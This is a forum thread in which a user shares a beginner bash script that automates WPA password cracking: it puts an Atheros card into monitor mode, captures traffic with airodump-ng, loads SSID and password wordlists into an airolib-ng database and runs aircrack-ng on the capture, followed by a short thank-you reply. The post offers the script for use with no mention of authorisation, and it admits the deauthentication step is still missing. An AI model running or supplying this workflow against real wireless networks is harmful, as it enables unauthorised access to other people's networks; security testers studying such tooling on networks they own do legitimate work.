airolib-ng script

[w116tjb]

So I was sitting here, watching with Xploitz tutorial #4 (love your work!) on my EEE PC and I thought to myself... This would be a nice little script to help automate the process a bit. It's my first shot at bash scripting so be gentle.

As far as I know, it'll only work in BT3beta and it'll only with with cards that can use airmon-ng, which is Atheros cards from my experience.

A few notes:
- The script assumes you know the channel of the AP.
- Still need to put in a few lines for airelplay, probly open up a new window .
- I'm sure there's some way to automate aireplay by using the capture-01.txt file that airodump spits out.
- The ssidlist.txt and the passwords.txt need to be in the same directory as the script.
- I'm sure there's some way to allow autocomplete for that, but I have yet to figure it out.
- Some of the comments are quasi-irrelevant.

Any suggestions are appreciated. Enjoy!

I tried to link to Xploitz tutorial #4 but the forum gods said nay... I haven't made enough posts... You all know where it is though. :P

#########################################################################
#    airolib_script.sh							#
#    airolib-ng script that automates the WPA cracking process	a bit.	#
#	by w116tjb							#
#									#
#########################################################################

##Set Atheros wireless card into monitor mode.
airmon-ng start wifi0

##Choose interface in monitor mode, channel you want to scan, and
##what you want to name your capture file.
read -p "What interface? " iface
read -p "What channel? " chan
read -p "Capture file name? " capture

airodump-ng --channel $chan --write $capture $iface

##Name your database.
read -p "Database name? " database

##Initialize your database.
echo "airolib-ng "$database" init"
airolib-ng $database init

##Until I can find out how to get directories to autocomplete, 
##you're stuck typing out the entire struture
read -p "SSID list? " ssid_dir

##Imports the SSID list into the database.
echo "airolib-ng "$database" import ascii essid "$ssid_dir
airolib-ng $database import ascii essid $ssid_dir

##Again, you have to type it all out. Sorry.
read -p "Password list? " pass_dir

##Imports the password file into the database.
echo "airolib-ng "$database" import ascii passwd "$pass_dir
airolib-ng $database import ascii passwd $pass_dir

echo "airolib-ng "$database" clean all"
airolib-ng $database clean all

echo "airolib-ng "$database" batch"
airolib-ng $database batch

echo "airolib-ng "$database" verify all"
airolib-ng $database verify all

echo "aircrack-ng -r "$database $capture"-01.cap"
aircrack-ng -r $database $capture-01.cap

[ShadowKill]

Thanks for your contribution. I'll try it out in a bit and let you know how it turns out. As for the directory structure inputs I blieve I can help you out with that, and I'll post that info when I'm donw testing your script out

Again, thanks for your contribution!!!!